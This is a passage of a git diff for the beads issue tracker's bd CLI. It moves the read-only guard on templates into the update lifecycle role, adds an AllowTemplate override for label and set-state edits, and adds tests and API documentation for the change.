RunLifecycleUpdateAllowTemplateEditsATemplate(t *testing.T, ctx context.Context, fixture LifecycleUpdateFixture) { + t.Helper() + template := fixture.IssuePrefix + "-lua-template" + issue := &types.Issue{ID: template, Title: template, Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask, IsTemplate: true} + if err := fixture.CreateIssue(ctx, issue, "seed"); err != nil { + t.Fatalf("seed %s: %v", template, err) + } + + result, err := fixture.Lifecycle.Update(ctx, publicops.UpdateRequest{ + Actor: "writer", IssueID: template, AllowTemplate: true, + Patch: publicops.IssuePatch{Labels: publicops.LabelPatch{Add: []string{"lua-tag"}}}, + }) + if err != nil { + t.Fatalf("AllowTemplate label edit on template %s: %v, want it to land", template, err) + } + if !result.Changed || result.Issue == nil || !lifecycleUpdateHasLabel(result.Issue.Labels, "lua-tag") { + t.Errorf("AllowTemplate label edit on template %s = %+v, want a change carrying lua-tag", template, result) + } + after, err := fixture.GetIssue(ctx, template) + if err != nil { + t.Fatalf("read template %s: %v", template, err) + } + if !after.IsTemplate { + t.Errorf("template %s is no longer a template after an AllowTemplate edit", template) + } + + _, err = fixture.Lifecycle.Update(ctx, publicops.UpdateRequest{ + Actor: "writer", IssueID: template, + Patch: publicops.IssuePatch{Labels: publicops.LabelPatch{Add: []string{"lua-other"}}}, + }) + if !errors.Is(err, publicops.ErrTemplateReadOnly) { + t.Errorf("the same edit without AllowTemplate: err = %v, want ErrTemplateReadOnly", err) + } +} diff --git a/backend/conformance/role_bundle_cases.go b/backend/conformance/role_bundle_cases.go index b74a615a8..059a50056 100644 --- a/backend/conformance/role_bundle_cases.go +++ b/backend/conformance/role_bundle_cases.go @@ -58,6 +58,8 @@ var roleContractCases = []roleContract{ RunBatchApplyReplayMintsANewSetOfRows, RunBatchApplyDoesNotMutateTheCallerRequest, RunBatchApplyRefusesAnUnusableRequest, + RunBatchApplyUpdateItemsRefuseATemplate, + RunBatchApplySplicesTheMetadataOfATemplateItCreates, ), roleCases("BatchCloser", "BatchCloser()", oncePerRole, @@ -479,6 +481,8 @@ var roleContractCases = []roleContract{ RunLifecycleUpdateParentIDReplacesEveryParent, RunLifecycleUpdatePersistentPreservesUnversionedClass, RunLifecycleUpdateProvenanceLabelsHistory, + RunLifecycleUpdateRefusesATemplate, + RunLifecycleUpdateAllowTemplateEditsATemplate, ), roleCases("Memories", "Memories()", oncePerRole, diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index 309ae4fc3..6dc8c19db 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -1227,6 +1227,7 @@ go_test( "update_proxied_integration_test.go", "update_proxied_server_test.go", "update_stray_positional_test.go", + "update_template_refusal_test.go", "user_config_path_windows_test.go", "utils_unit_test.go", "vc_embedded_test.go", diff --git a/cmd/bd/assign.go b/cmd/bd/assign.go index 83b145f33..3ae73a54a 100644 --- a/cmd/bd/assign.go +++ b/cmd/bd/assign.go @@ -75,9 +75,8 @@ Examples: issueStore := result.Store - if err := validateIssueUpdatable(id, result.Issue); err != nil { - return HandleErrorRespectJSON("%s", err) - } + // The template guard is the role's (issueops.Lifecycle.Update); its + // refusal is printed below as this command always printed it. // bd-98s5c: bd assign is shorthand for an unguarded assignee update — // same live-claim fence as bd update -a. mc-zndi7.74: skipped when this @@ -118,6 +117,9 @@ Examples: return reported } } + if refusal, ok := templateReadOnlyRefusal(id, err); ok { + return HandleErrorRespectJSON("%s", refusal) + } return HandleErrorRespectJSON("updating %s: %v", id, err) } diff --git a/cmd/bd/label.go b/cmd/bd/label.go index 5f5a768db..fccbaaf4f 100644 --- a/cmd/bd/label.go +++ b/cmd/bd/label.go @@ -105,7 +105,9 @@ func resolveLabelTarget(ctx context.Context, id string) (string, error) { // commits them together, so the N calls collapse back to one transaction and // one history entry with no new role and no new request type. It is not in this // slice because it needs a cmd/bd accessor of its own and because its end gate -// runs a hierarchy and cycle walk a label-only request has no use for. +// runs a hierarchy and cycle walk a label-only request has no use for. It also +// needs a template stand-down first: UpdateItem has no AllowTemplate, so an +// ItemUpdate refuses the templates this function edits today (bd-jkp9v3). func applyLabelEdit(ctx context.Context, issueIDs []string, labels []string, operation string) error { lifecycle, err := openIssueLifecycle() if err != nil { @@ -168,6 +170,9 @@ func applyLabelEdit(ctx context.Context, issueIDs []string, labels []string, ope Actor: currentActor(), IssueID: issueID, Patch: patch, + // bd label has always edited templates; the role's template + // guard stands down for it (issueops.UpdateRequest.AllowTemplate). + AllowTemplate: true, }) if uerr != nil { gerund := labelOperationGerund(operation) @@ -364,6 +369,8 @@ func removeLabelsByPrefix(ctx context.Context, issueIDs []string, prefix string, Actor: currentActor(), IssueID: target.issueID, Patch: issueops.IssuePatch{Labels: issueops.LabelPatch{Remove: target.labels}}, + // As above: bd label edits templates by design. + AllowTemplate: true, }) if uerr != nil { return HandleErrorRespectJSON("label removing (prefix): %s: %v", target.issueID, uerr) diff --git a/cmd/bd/label_embedded_test.go b/cmd/bd/label_embedded_test.go index b0e158c63..e4f1e88a4 100644 --- a/cmd/bd/label_embedded_test.go +++ b/cmd/bd/label_embedded_test.go @@ -7,9 +7,13 @@ import ( "fmt" "os" "os/exec" + "path/filepath" + "slices" "strings" "sync" "testing" + + "github.com/steveyegge/beads/internal/storage/embeddeddolt" ) // bdLabel runs "bd label" with the given args and returns stdout. @@ -99,6 +103,28 @@ func bdLabelListAllJSON(t *testing.T, bd, dir string) []map[string]interface{} { return results } +// markIssueTemplate makes an existing issue a template (is_template = 1) with +// raw SQL and commits it, so a test can put a template in front of the CLI +// without cooking a formula. +func markIssueTemplate(t *testing.T, beadsDir, database, issueID string) { + t.Helper() + db, cleanup, err := embeddeddolt.OpenSQL(t.Context(), filepath.Join(beadsDir, "embeddeddolt"), database, "main") + if err != nil { + t.Fatalf("OpenSQL: %v", err) + } + defer cleanup() + res, err := db.ExecContext(t.Context(), "UPDATE issues SET is_template = 1 WHERE id = ?", issueID) + if err != nil { + t.Fatalf("mark %s a template: %v", issueID, err) + } + if n, err := res.RowsAffected(); err != nil || n != 1 { + t.Fatalf("mark %s a template: %d rows affected (err %v), want 1", issueID, n, err) + } + if _, err := db.ExecContext(t.Context(), "CALL DOLT_COMMIT('-Am', 'test: mark a template')"); err != nil { + t.Fatalf("commit the template mark: %v", err) + } +} + // TestEmbeddedLabelAddRemove was split from TestEmbeddedLabel (originally // ~360s, measured under --config=embedded) into 3 top-level tests over // disjoint subtest groups, for CI shard balance (see @@ -361,7 +387,7 @@ func TestEmbeddedLabelEditReports(t *testing.T) { t.Parallel() bd := buildEmbeddedBD(t) - dir, _, _ := bdInit(t, bd, "--prefix", "tl") + dir, beadsDir, _ := bdInit(t, bd, "--prefix", "tl") // Two issues carrying DIFFERENT matching sets: the report is per issue and // each issue's set is resolved from its own labels, so a refactor that @@ -614,6 +640,50 @@ func TestEmbeddedLabelEditReports(t *testing.T) { } } }) + + // A template is read-only to an update — issueops.Lifecycle.Update refuses + // it on every route — but bd label and bd set-state edit templates by + // design: they set UpdateRequest.AllowTemplate. One template pins both + // sides end to end. The stand-down verbs are checked with t.Errorf rather + // than a fatal helper, so a lost AllowTemplate names every verb that lost + // it. + t.Run("template_label_edits_pass_update_and_assign_refuse", func(t *testing.T) { + tpl := bdCreate(t, bd, dir, "Template under edit", "--type", "task", + "--label", "pool:refused:reason-a") + markIssueTemplate(t, beadsDir, "tl", tpl.ID) + + for _, args := range [][]string{ + {"label", "add", tpl.ID, "tpl-added"}, + {"label", "remove", tpl.ID, "--prefix", "pool:refused:"}, + {"set-state", tpl.ID, "phase=planning"}, + } { + cmd := exec.Command(bd, args...) + cmd.Dir = dir + cmd.Env = bdEnv(dir) + if out, err := cmd.CombinedOutput(); err != nil { + t.Errorf("bd %s on a template: %v\n%s", strings.Join(args, " "), err, out) + } + } + labels := bdLabelListJSON(t, bd, dir, tpl.ID) + slices.Sort(labels) + if want := []string{"phase:planning", "tpl-added"}; !slices.Equal(labels, want) { + t.Errorf("template labels after label add, label remove --prefix and set-state = %v, want %v", labels, want) + } + + want := "cannot modify template " + tpl.ID + ": templates are read-only; use 'bd mol pour' to create a work item" + for _, args := range [][]string{ + {"update", tpl.ID, "--title", "Edited template"}, + {"assign", tpl.ID, "someone-else"}, + } { + if out, code := bdRunFailCode(t, bd, dir, args...); code != 1 || !strings.Contains(out, want) { + t.Errorf("bd %s on a template: exit %d, output:\n%s\nwant exit 1 and %q", strings.Join(args, " "), code, out, want) + } + } + if got := bdShow(t, bd, dir, tpl.ID); got.Title != "Template under edit" || got.Assignee != "" || !got.IsTemplate { + t.Errorf("the refused update and assign changed the template: title=%q assignee=%q is_template=%v", + got.Title, got.Assignee, got.IsTemplate) + } + }) } // TestEmbeddedLabelPropagateRename was split from TestEmbeddedLabel diff --git a/cmd/bd/label_proxied_integration_test.go b/cmd/bd/label_proxied_integration_test.go index 7cfd1d94d..2d820d97f 100644 --- a/cmd/bd/label_proxied_integration_test.go +++ b/cmd/bd/label_proxied_integration_test.go @@ -5,6 +5,9 @@ package main import ( "context" "encoding/json" + "errors" + "os/exec" + "slices" "sort" "strings" "testing" @@ -581,4 +584,53 @@ func TestProxiedServerLabelC(t *testing.T) { t.Errorf("labels (permanent) count = %d, want 0 — propagated wisp label must not leak into the permanent table", permCount) } }) + + // The proxied twin of TestEmbeddedLabelEditReports' + // template_label_edits_pass_update_and_assign_refuse, over the unit-of-work + // leg: bd label and bd set-state stand the template guard down + // (UpdateRequest.AllowTemplate), bd update and bd assign are refused with + // the CLI's sentence and exit 1. + t.Run("template_label_edits_pass_update_and_assign_refuse", func(t *testing.T) { + t.Parallel() + p := newSharedProxiedProject(t, bd, "lt") + tpl := bdProxiedCreate(t, bd, p.dir, "Template under edit", "--type", "task", + "--label", "pool:refused:reason-a") + res, err := openProxiedDB(t, p).Exec("UPDATE issues SET is_template = 1 WHERE id = ?", tpl.ID) + if err != nil { + t.Fatalf("mark %s a template: %v", tpl.ID, err) + } + if n, err := res.RowsAffected(); err != nil || n != 1 { + t.Fatalf("mark %s a template: %d rows affected (err %v), want 1", tpl.ID, n, err) + } + + for _, args := range [][]string{ + {"label", "add", tpl.ID, "tpl-added"}, + {"label", "remove", tpl.ID, "--prefix", "pool:refused:"}, + {"set-state", tpl.ID, "phase=planning"}, + } { + if stdout, stderr, err := bdProxiedRunBuffers(t, bd, p.dir, args...); err != nil { + t.Errorf("bd %s on a template: %v\nstdout:\n%s\nstderr:\n%s", strings.Join(args, " "), err, stdout, stderr) + } + } + if got, want := bdProxiedLabelListJSON(t, bd, p.dir, tpl.ID), []string{"phase:planning", "tpl-added"}; !slices.Equal(got, want) { + t.Errorf("template labels after label add, label remove --prefix and set-state = %v, want %v", got, want) + } + + want := "cannot modify template " + tpl.ID + ": templates are read-only; use 'bd mol pour' to create a work item" + for _, args := range [][]string{ + {"update", tpl.ID, "--title", "Edited template"}, + {"assign", tpl.ID, "someone-else"}, + } { + stdout, stderr, err := bdProxiedRunBuffers(t, bd, p.dir, args...) + var exitErr *exec.ExitError + if !errors.As(err, &exitErr) || exitErr.ExitCode() != 1 || !strings.Contains(stdout+stderr, want) { + t.Errorf("bd %s on a template: err %v\nstdout:\n%s\nstderr:\n%s\nwant exit 1 and %q", + strings.Join(args, " "), err, stdout, stderr, want) + } + } + if got := bdProxiedShow(t, bd, p.dir, tpl.ID); got.Title != "Template under edit" || got.Assignee != "" || !got.IsTemplate { + t.Errorf("the refused update and assign changed the template: title=%q assignee=%q is_template=%v", + got.Title, got.Assignee, got.IsTemplate) + } + }) } diff --git a/cmd/bd/label_proxied_server.go b/cmd/bd/label_proxied_server.go index 0bf9215f0..72b67c467 100644 --- a/cmd/bd/label_proxied_server.go +++ b/cmd/bd/label_proxied_server.go @@ -205,7 +205,10 @@ func runLabelPropagateProxiedServer(ctx context.Context, args []string) error { // keeps both is issueops.BatchApplier.ApplyBatch with one ItemUpdate per // child carrying this same label patch, and it is blocked on a cmd/bd // accessor for that role. That is the follow-up this waiver names - // (ga-2ltro.12); it is the last one on this list that WRITES. + // (ga-2ltro.12); it is the last one on this list that WRITES. It also + // needs a template stand-down first: UpdateItem has no AllowTemplate, so + // an ItemUpdate refuses the template children this loop labels today + // (bd-jkp9v3). for _, child := range children { var e error if child.Ephemeral { diff --git a/cmd/bd/mutate_proxied_server.go b/cmd/bd/mutate_proxied_server.go index fa72c238e..9470c01fa 100644 --- a/cmd/bd/mutate_proxied_server.go +++ b/cmd/bd/mutate_proxied_server.go @@ -87,9 +87,8 @@ func proxiedAssign(ctx context.Context, id, assignee string, force bool, ifRevis if rerr != nil { return struct{}{}, fmt.Errorf("resolving %s: %w", id, rerr) } - if verr := validateIssueUpdatable(id, current); verr != nil { - return struct{}{}, verr - } + // The template guard is the role's, enforced by the Lifecycle.Update + // below; runAssignProxiedServer prints its refusal as before. // mc-zndi7.74: skipped when this pre-read is already stale against an // active --if-revision guard, so a lost race reports precondition_failed // from the guarded write below instead of this policy refusal — see @@ -137,6 +136,9 @@ func runAssignProxiedServer(ctx context.Context, args []string, force bool, ifRe return reported } } + if refusal, ok := templateReadOnlyRefusal(id, err); ok { + err = refusal + } return HandleErrorRespectJSON("assign %s: %v", id, err) } if jsonOutput { @@ -211,10 +213,10 @@ func runNoteProxiedServer(ctx context.Context, id, noteText string) error { // UpdateRequest.IssuePlaneOnly stays false, so the role resolves the plane // inside its own transaction and there is no boolean here to get backwards. // -// The two reads it still makes are front-door work rather than plumbing. -// issueops.Reader.Get supplies the issue the template guard needs — the roles -// have no opinion about templates, and the direct route refuses one — and the -// role takes an exact id by contract, which Get's issue-then-wisp lookup is. +// The read it still makes is front-door work rather than plumbing: the role +// takes an exact id by contract, and issueops.Reader.Get's issue-then-wisp +// lookup supplies one. The template guard is the role's: Lifecycle.Update +// refuses a template inside its own transaction. // The label arrives already normalized: tag.go does that before choosing a // route, so this path and the direct one cannot disagree about what was stored. func runTagProxiedServer(ctx context.Context, id, label string) error { @@ -229,9 +231,8 @@ func runTagProxiedServer(ctx context.Context, id, label string) error { if err != nil { return HandleErrorRespectJSON("tag %s: resolving %s: %v", id, id, err) } - if verr := validateIssueUpdatable(id, &details.Issue); verr != nil { - return HandleErrorRespectJSON("tag %s: %v", id, verr) - } + // The template guard is the role's, enforced by the Lifecycle.Update + // below, whose refusal prints as this route always printed it. lifecycle, err := openIssueLifecycle() if err != nil { @@ -250,6 +251,9 @@ func runTagProxiedServer(ctx context.Context, id, label string) error { Patch: issueops.IssuePatch{Labels: issueops.LabelPatch{Add: []string{label}}}, }) if err != nil { + if refusal, ok := templateReadOnlyRefusal(id, err); ok { + err = refusal + } return HandleErrorRespectJSON("tag %s: %v", id, err) } commandDidWrite.Store(true) diff --git a/cmd/bd/show_unit_helpers.go b/cmd/bd/show_unit_helpers.go index 4e2fcd6e2..74c0e9705 100644 --- a/cmd/bd/show_unit_helpers.go +++ b/cmd/bd/show_unit_helpers.go @@ -11,6 +11,13 @@ import ( ) // validateIssueUpdatable checks if an issue can be updated. +// +// It is the CLI-only template guard that bd comment, bd note, bd priority and +// bd tag (and the proxied comment and mutate routes) still run as a pre-read: +// their writes do not go through issueops.Lifecycle.Update, whose role rule +// (storage issueops.AuthorizeTemplateUpdate) guards bd update and bd assign on +// every route. Until those commands move onto the role, this is their only +// guard. // Uses the centralized validation package for consistency. func validateIssueUpdatable(id string, issue *types.Issue) error { // Note: We use NotTemplate() directly instead of ForUpdate() to maintain diff --git a/cmd/bd/state.go b/cmd/bd/state.go index b689b0f28..3d0b56a78 100644 --- a/cmd/bd/state.go +++ b/cmd/bd/state.go @@ -260,6 +260,9 @@ func runSetState(ctx context.Context, issueID, dimension, newValue, reason strin Add: []string{newLabel}, Remove: removeStateLabel(oldLabel), }}, + // bd set-state has always edited templates; the role's template guard + // stands down for it (issueops.UpdateRequest.AllowTemplate). + AllowTemplate: true, }); err != nil { return HandleErrorRespectJSON("setting %s: %v", dimension, err) } diff --git a/cmd/bd/update.go b/cmd/bd/update.go index 09e8edb64..95e013d9f 100644 --- a/cmd/bd/update.go +++ b/cmd/bd/update.go @@ -493,12 +493,9 @@ pointless).`, issue := result.Issue issueStore := result.Store - if err := validateIssueUpdatable(id, issue); err != nil { - fmt.Fprintf(os.Stderr, "%s\n", err) - recordFailure(id, err.Error()) - closeIfUnmutated(result) - continue - } + // The template guard is the role's (issueops.Lifecycle.Update), + // enforced inside the mutation on every route; its refusal is + // printed below as the line this command always printed. // bd-98s5c: an unguarded assignee update must not silently // overwrite another actor's live claim. Skipped under @@ -577,7 +574,10 @@ pointless).`, } } failureText := fmt.Sprintf("updating issue: %v", updateErr) - if errors.Is(updateErr, issueops.ErrNotesOverwrite) { + if refusal, ok := templateReadOnlyRefusal(id, updateErr); ok { + failureText = refusal.Error() + fmt.Fprintf(os.Stderr, "%s\n", refusal) + } else if errors.Is(updateErr, issueops.ErrNotesOverwrite) { // The contract's AuthorizeNotesOverwrite fence refused // inside the mutation transaction. Print the advice, not // the raw sentinel. @@ -1117,3 +1117,16 @@ func init() { updateCmd.ValidArgsFunction = issueIDCompletion rootCmd.AddCommand(updateCmd) } + +// templateReadOnlyRefusal reports whether err is the update role's template +// refusal (issueops.Lifecycle.Update, any route) and, when it is, returns it +// spelled against id — the argument as the caller typed it, which is what this +// CLI's template sentence has always named. It is found with errors.Is because +// the refusal may arrive wrapped by the unit of work or inside the served +// problem envelope. +func templateReadOnlyRefusal(id string, err error) (error, bool) { + if !errors.Is(err, issueops.ErrTemplateReadOnly) { + return nil, false + } + return &issueops.TemplateReadOnlyError{IssueID: id}, true +} diff --git a/cmd/bd/update_proxied_server.go b/cmd/bd/update_proxied_server.go index 5d74583b2..69ba47fb2 100644 --- a/cmd/bd/update_proxied_server.go +++ b/cmd/bd/update_proxied_server.go @@ -87,11 +87,12 @@ func proxiedIssueLifecycle() (issueops.Lifecycle, error) { // applyUpdateProxiedOne applies one issue's update — plain or --claim — // through issueops.Lifecycle. What stays here is this surface's own protocol: -// the template guard, the advisory reassign pre-read, the per-id failure -// taxonomy the multi-id batch needs and the notes-overwrite warning. Hooks are -// NOT among them: they fire from the write plumbing now (the notifying provider -// wired in main.go), which is what makes an update fire the same events here as -// it does on the embedded path. +// the advisory reassign pre-read, the per-id failure taxonomy the multi-id +// batch needs (a template refusal is one of its verdicts; the guard itself is +// the role's) and the notes-overwrite warning. Hooks are NOT among them: they +// fire from the write plumbing now (the notifying provider wired in main.go), +// which is what makes an update fire the same events here as it does on the +// embedded path. // // Provenance carries the commit message this path has always written, so `bd // dolt log` reads the same after the move as before it. The plane is @@ -189,13 +190,12 @@ func applyUpdateProxiedOne(ctx context.Context, id string, in *updateInput) (*ty } // proxiedUpdateTarget reads the row an update is about through the query role, -// for the things the mutation's own result cannot answer: whether the target is -// a template, whether an unguarded assignee edit is about to take the issue -// from a live foreign holder, whether --notes is about to replace existing -// notes, and whether --defer="" should also clear a deferred status. It no -// longer reads the pre-state to decide a hook: a status-crossing update fires -// on_update and nothing else, from the plumbing, exactly as it does on the -// embedded path. +// for the things the mutation's own result cannot answer: whether an unguarded +// assignee edit is about to take the issue from a live foreign holder, whether +// --notes is about to replace existing notes, and whether --defer="" should +// also clear a deferred status. It no longer reads the pre-state to decide a +// hook: a status-crossing update fires on_update and nothing else, from the +// plumbing, exactly as it does on the embedded path. func proxiedUpdateTarget(ctx context.Context, id string, in *updateInput) (*types.Issue, *updateIDFailure) { rd, err := proxiedIssueReader() if err != nil { @@ -212,10 +212,8 @@ func proxiedUpdateTarget(ctx context.Context, id string, in *updateInput) (*type return nil, &updateIDFailure{ID: id, Error: fmt.Sprintf("resolving issue: %v", err)} } current := &details.Issue - if err := validateIssueUpdatable(id, current); err != nil { - fmt.Fprintf(os.Stderr, "%s\n", err) - return nil, &updateIDFailure{ID: id, Error: err.Error()} - } + // The template guard is the role's, enforced inside the mutation; + // proxiedUpdateFailure prints its refusal as this route always did. // bd-98s5c: an unguarded assignee update must not silently overwrite // another actor's live claim. Skipped under --if-assignee, whose CAS names // the holder explicitly (park stays possible without --force), and under @@ -266,6 +264,10 @@ func proxiedClaimPoolAliases(ctx context.Context) func() []string { // longer owns, so both now read as the generic update failure. The id still // fails, loudly and non-zero. func proxiedUpdateFailure(id string, claim bool, err error) *updateIDFailure { + if refusal, ok := templateReadOnlyRefusal(id, err); ok { + fmt.Fprintf(os.Stderr, "%s\n", refusal) + return &updateIDFailure{ID: id, Error: refusal.Error()} + } switch { case errors.Is(err, storage.ErrNotFound): fmt.Fprintf(os.Stderr, "Issue %s not found\n", id) diff --git a/cmd/bd/update_template_refusal_test.go b/cmd/bd/update_template_refusal_test.go new file mode 100644 index 000000000..630e39822 --- /dev/null +++ b/cmd/bd/update_template_refusal_test.go @@ -0,0 +1,35 @@ +package main + +import ( + "errors" + "fmt" + "testing" + + "github.com/steveyegge/beads/issueops" +) + +// TestTemplateReadOnlyRefusalKeepsTheCLISentence pins what `bd update`, +// `bd assign` and the proxied `bd tag` print now that the template guard is the +// role's: the sentence they printed when it was a CLI pre-read, naming the id +// as the caller typed it — however the refusal travelled (bare from the store, +// wrapped by the unit of work, or rebuilt by the served client against the +// resolved id). +func TestTemplateReadOnlyRefusalKeepsTheCLISentence(t *testing.T) { + const typed = "tp-ab" + want := "cannot modify template " + typed + ": templates are read-only; use 'bd mol pour' to create a work item" + for name, err := range map[string]error{ + "bare": &issueops.TemplateReadOnlyError{IssueID: "tp-abc123"}, + "wrapped": fmt.Errorf("update tp-abc123: %w", &issueops.TemplateReadOnlyError{IssueID: "tp-abc123"}), + } { + refusal, ok := templateReadOnlyRefusal(typed, err) + if !ok { + t.Fatalf("%s: templateReadOnlyRefusal did not recognize %v", name, err) + } + if refusal.Error() != want { + t.Errorf("%s: refusal reads %q, want %q", name, refusal.Error(), want) + } + } + if _, ok := templateReadOnlyRefusal(typed, errors.New("something else")); ok { + t.Errorf("an unrelated error was taken for the template refusal") + } +} diff --git a/internal/httpapi/BUILD.bazel b/internal/httpapi/BUILD.bazel index 27efb854f..fab98a6f5 100644 --- a/internal/httpapi/BUILD.bazel +++ b/internal/httpapi/BUILD.bazel @@ -106,6 +106,7 @@ go_test( "sweep_test.go", "timed_provider_binding_test.go", "tree_test.go", + "update_template_test.go", "update_test.go", "wire_bijection_test.go", "wire_revision_test.go", diff --git a/internal/httpapi/apigen/types.gen.go b/internal/httpapi/apigen/types.gen.go index 4fea37994..b09477c7c 100644 --- a/internal/httpapi/apigen/types.gen.go +++ b/internal/httpapi/apigen/types.gen.go @@ -1047,7 +1047,7 @@ type ContextResponse struct { // OPTIONAL, and absent means only that this server does not disclose its filesystem layout — never that it has no workspace. A client MUST NOT require it, MUST NOT treat absence as an error, and has no use for the value beyond display: it is a path on the SERVER's filesystem, which the client cannot open. Identify the workspace by `project_id` and `database`, which are required. BeadsDir *string `json:"beads_dir,omitempty"` - // Capabilities The tokens this server advertises: the OPERATIONS it implements, derived from its route table, and the server-wide BEHAVIORS it enforces. v0's operation vocabulary is `ready.list`, `ready.count`, `issues.list`, `issues.query`, `issues.count`, `issues.get`, `issues.related`, `issues.create`, `issues.addComment`, `issues.batchClose`, `issues.claim`, `issues.claimNext`, `issues.release`, `issues.close`, `issues.reopen`, `issues.update`, `issues.sweep`, `issues.delete`, `issues.batchGet`, `issues.reclaim`, `issues.batchCreate`, `issues.batchApply`, `stats.get`, `config.list`, `config.get`, `config.set`, `config.unset`, `dependencies.cycles`, `dependencies.list`, `dependencies.count`, `dependencies.blocking`, `dependencies.tree`, `dependencies.add`, `dependencies.remove`, `memories.list`, `memories.get`, `memories.remember`, `memories.forget`, `events.list`, `events.watch`, `issues.casMetadata`; the behavior tokens are `project.enforce`, which announces that a `Bd-Project-Id` stamp for the wrong workspace is refused here rather than silently ignored, `issues.batchApplyLarge`, which announces that `POST /v0/beads/issues:batchApply` accepts the RAISED envelope — up to 1000 items (`ApplyBatchRequest.items.maxItems`), a 16 MiB body, and (for a request over 100 items) a run budget that EXTENDS to an operator-configured ceiling (`bd serve --large-apply-ceiling`, 5 minutes by default) — rather than the original 100-item, 4 MiB bound. The ceiling is a flat whole-run budget, not a value scaled by item count: a 101-item request and a 1000-item request both get the same extended budget. A request at or under 100 items is unaffected either way and keeps the server's ordinary deadline exactly as before. A client that checks for this token before sending a plan over 100 items learns whether THIS server accepts it without paying for a round trip an older server would refuse anyway, and `issues.list.sort`, which announces that `GET /v0/beads/issues` accepts the `sort` query parameter (two closed, pageable total orders — see that parameter) rather than silently answering `unknown_parameter`, and `issues.count.scope`, which announces that `GET /v0/beads/issues:count` accepts `parent`, `no_parent`, `exclude_type`, and `exclude_status` (see those parameters) rather than silently answering `unknown_parameter` for all four, `issues.sweep.wispsPlane`, which announces that `POST /v0/beads/issues:sweep` accepts the `wisps-plane` value of `tier` rather than silently answering `invalid_value`, `issues.sweep.liveDependents`, which announces that the same operation accepts `protect_live_dependents` and answers `skipped.live_dependent` rather than silently answering `unknown_parameter`, `issues.sweep.limit`, which announces that it accepts `limit` and answers `remaining` rather than silently answering `unknown_parameter`, and `issues.batchApply.depAddLineage`, which announces that a `dep_add` item on `POST /v0/beads/issues:batchApply` accepts `has_spawner` and `thread_id` (see `ApplyDepAddItem`) rather than a `400` naming the member unknown. The list grows additively, and an operation never appears here unless it is fully implemented. This is how a client checks for an operation or a behavior — never the version string. + // Capabilities The tokens this server advertises: the OPERATIONS it implements, derived from its route table, and the server-wide BEHAVIORS it enforces. v0's operation vocabulary is `ready.list`, `ready.count`, `issues.list`, `issues.query`, `issues.count`, `issues.get`, `issues.related`, `issues.create`, `issues.addComment`, `issues.batchClose`, `issues.claim`, `issues.claimNext`, `issues.release`, `issues.close`, `issues.reopen`, `issues.update`, `issues.sweep`, `issues.delete`, `issues.batchGet`, `issues.reclaim`, `issues.batchCreate`, `issues.batchApply`, `stats.get`, `config.list`, `config.get`, `config.set`, `config.unset`, `dependencies.cycles`, `dependencies.list`, `dependencies.count`, `dependencies.blocking`, `dependencies.tree`, `dependencies.add`, `dependencies.remove`, `memories.list`, `memories.get`, `memories.remember`, `memories.forget`, `events.list`, `events.watch`, `issues.casMetadata`; the behavior tokens are `project.enforce`, which announces that a `Bd-Project-Id` stamp for the wrong workspace is refused here rather than silently ignored, `issues.batchApplyLarge`, which announces that `POST /v0/beads/issues:batchApply` accepts the RAISED envelope — up to 1000 items (`ApplyBatchRequest.items.maxItems`), a 16 MiB body, and (for a request over 100 items) a run budget that EXTENDS to an operator-configured ceiling (`bd serve --large-apply-ceiling`, 5 minutes by default) — rather than the original 100-item, 4 MiB bound. The ceiling is a flat whole-run budget, not a value scaled by item count: a 101-item request and a 1000-item request both get the same extended budget. A request at or under 100 items is unaffected either way and keeps the server's ordinary deadline exactly as before. A client that checks for this token before sending a plan over 100 items learns whether THIS server accepts it without paying for a round trip an older server would refuse anyway, and `issues.list.sort`, which announces that `GET /v0/beads/issues` accepts the `sort` query parameter (two closed, pageable total orders — see that parameter) rather than silently answering `unknown_parameter`, and `issues.count.scope`, which announces that `GET /v0/beads/issues:count` accepts `parent`, `no_parent`, `exclude_type`, and `exclude_status` (see those parameters) rather than silently answering `unknown_parameter` for all four, `issues.sweep.wispsPlane`, which announces that `POST /v0/beads/issues:sweep` accepts the `wisps-plane` value of `tier` rather than silently answering `invalid_value`, `issues.sweep.liveDependents`, which announces that the same operation accepts `protect_live_dependents` and answers `skipped.live_dependent` rather than silently answering `unknown_parameter`, `issues.sweep.limit`, which announces that it accepts `limit` and answers `remaining` rather than silently answering `unknown_parameter`, and `issues.batchApply.depAddLineage`, which announces that a `dep_add` item on `POST /v0/beads/issues:batchApply` accepts `has_spawner` and `thread_id` (see `ApplyDepAddItem`) rather than a `400` naming the member unknown, and `issues.update.allowTemplate`, which announces that `PATCH /v0/beads/issues/{id}` accepts `allow_template` (see `UpdateIssueRequest`) rather than a `400` naming the member unknown. The list grows additively, and an operation never appears here unless it is fully implemented. This is how a client checks for an operation or a behavior — never the version string. // // THIS LIST IS BUILD-LEVEL, NOT WORKSPACE-LEVEL. It says which operations this binary serves, and for every entry but two that is the whole answer. `events.list` and `events.watch` are the exceptions: the durable events journal is a per-workspace setting that is OFF by default, so a server that advertises them may still refuse every request to both with 409 `events_journal_disabled` — correctly, because the operations exist and the workspace has no journal. A consumer of either MUST treat the capability as "this server speaks it" and the 409 as "not on this workspace", and must not read the capability as a promise that records will arrive. Capabilities []string `json:"capabilities"` @@ -1607,7 +1607,7 @@ type Problem struct { // IT IS OPTIONAL. A refusal that could not name its blockers omits it and keeps the generic `detail`; absence means "this refusal did not name them", never "nothing blocks it". Re-read the issue's dependencies then. Blockers *[]Blocker `json:"blockers,omitempty"` - // Code The stable machine-readable reason, and the ONLY member a client may dispatch on. v0's vocabulary: `invalid_argument` (400, also emitted by the Host-header middleware on any route), `invalid_cursor` (400), `unauthenticated` (401, only on a server configured with a token file), `not_found` (404), `already_claimed` (409), `not_claimable` (409), `not_closable` (409), `not_releasable` (409), `dependency_cycle` (409), `dependency_exists` (409), `already_exists` (409), `precondition_failed` (409), `events_journal_disabled` (409), `events_journal_truncated` (410), `busy` (503), `db_unavailable` (503), `events_watch_saturated` (503), `internal` (500). Renaming or removing a status+code pair is a breaking change; ADDING one is not, so clients MUST default-branch on unknown values and fall back to the status class (unknown 4xx → client bug, fail loud; unknown 503 → retry per `Retry-After`; other unknown 5xx → server fault). + // Code The stable machine-readable reason, and the ONLY member a client may dispatch on. v0's vocabulary: `invalid_argument` (400, also emitted by the Host-header middleware on any route), `invalid_cursor` (400), `unauthenticated` (401, only on a server configured with a token file), `not_found` (404), `already_claimed` (409), `not_claimable` (409), `not_closable` (409), `not_releasable` (409), `template_read_only` (409), 